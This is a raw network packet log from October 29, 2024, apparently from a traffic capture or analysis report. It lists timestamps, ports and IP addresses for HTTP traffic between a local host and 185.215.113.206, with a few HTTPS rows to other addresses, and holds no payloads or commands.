Oct 29, 2024 06:59:39.021322966 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.021877050 CET	49925	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:39.021895885 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.021951914 CET	49925	443	192.168.2.5	40.126.32.133
Oct 29, 2024 06:59:39.021970034 CET	443	49925	40.126.32.133	192.168.2.5
Oct 29, 2024 06:59:39.088730097 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088767052 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088781118 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088783979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088804960 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088809967 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088825941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088839054 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088843107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088854074 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088859081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088866949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088890076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088896036 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088898897 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088912010 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088926077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088937998 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088942051 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088953018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088958025 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.088967085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.088985920 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089001894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089013100 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089035034 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089050055 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089055061 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089066029 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089063883 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089080095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089082003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089097977 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089108944 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089123964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089128017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089138985 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089145899 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089152098 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089154959 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089169979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089173079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089186907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089193106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089200974 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089212894 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089215994 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089217901 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089238882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089241982 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089255095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089262009 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089271069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089279890 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089286089 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089297056 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089301109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089312077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089324951 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089325905 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089343071 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089343071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089355946 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089356899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089371920 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089384079 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089385033 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089399099 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089401007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089416981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089416981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089425087 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089428902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089443922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089443922 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089461088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089462042 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089483023 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089512110 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089595079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089649916 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089663982 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089684963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089685917 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089695930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089701891 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089720964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089724064 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089749098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089751959 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089761019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089764118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089778900 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089782000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089793921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089799881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089808941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089819908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089832067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089833021 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089847088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089848995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089862108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089870930 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089876890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089880943 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089890957 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089909077 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089909077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089927912 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089936972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089951992 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089951992 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089977026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089977980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.089992046 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.089997053 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090007067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090010881 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090022087 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090023994 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090037107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090043068 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090053082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090054035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090073109 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090080976 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090100050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090115070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090128899 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090145111 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090147972 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090159893 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090167046 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090177059 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090182066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090194941 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090200901 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090214968 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090215921 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090230942 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090234995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090245962 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090245962 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090262890 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090265989 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090279102 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090280056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090296984 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090300083 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090315104 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090325117 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090425968 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090468884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090485096 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090497971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090500116 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090513945 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090522051 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090524912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090540886 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090540886 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090555906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090569019 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090588093 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090591908 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090601921 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090607882 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090629101 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090641022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090656042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090671062 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090686083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090701103 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090712070 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090717077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090740919 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090758085 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090791941 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090806961 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090828896 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090832949 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090845108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090846062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090867996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090869904 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090879917 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090883970 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090898991 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090907097 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090914011 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090919971 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090928078 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090939045 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090943098 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090956926 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090966940 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090970993 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090981960 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.090986013 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.090996981 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091007948 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091020107 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091022015 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091036081 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091039896 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091051102 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091056108 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091065884 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091077089 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091083050 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091084003 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091098070 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091104984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091113091 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091115952 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091130018 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091140985 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091145039 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091159105 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091161013 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091172934 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091175079 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091187000 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091192007 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091201067 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091206074 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091217995 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091221094 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091234922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091237068 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091253042 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091258049 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091279984 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091284990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091300964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091309071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091325998 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091336012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091336012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091341019 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091356039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091363907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091375113 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091379881 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091396093 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091411114 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091412067 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091432095 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091434002 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091448069 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091458082 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091461897 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091478109 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091483116 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091494083 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091506958 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091516972 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091528893 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091532946 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091555119 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091557026 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091573000 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091578007 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091588020 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091593981 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091603041 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091603041 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091619015 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091624022 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091634035 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091639996 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091650009 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091656923 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091665983 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091675997 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091681004 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091691017 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091696978 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091703892 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091731071 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091752052 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091924906 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091941118 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091957092 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.091974974 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091986895 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.091996908 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092008114 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092024088 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092039108 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092050076 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092055082 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092056990 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092071056 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092072010 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092086077 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092087030 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092103958 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092113018 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092118979 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092133999 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092135906 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092144012 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092159986 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092171907 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092178106 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092187881 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092202902 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092217922 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092231989 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092251062 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092273951 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092289925 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092304945 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092320919 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092339039 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092365980 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092607975 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092623949 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092638016 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092653990 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092653990 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092669964 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092669964 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092694044 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092701912 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.092719078 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.092745066 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.176635027 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.176651001 CET	80	49888	185.215.113.206	192.168.2.5
Oct 29, 2024 06:59:39.176692963 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.176708937 CET	49888	80	192.168.2.5	185.215.113.206
Oct 29, 2024 06:59:39.195281029 CET	443	49926	13.107.246.60	192.168.2.5
Oct 29, 2024 06:59:39.195885897 CET	49926	443	192.168.2.5	13.107.246.60
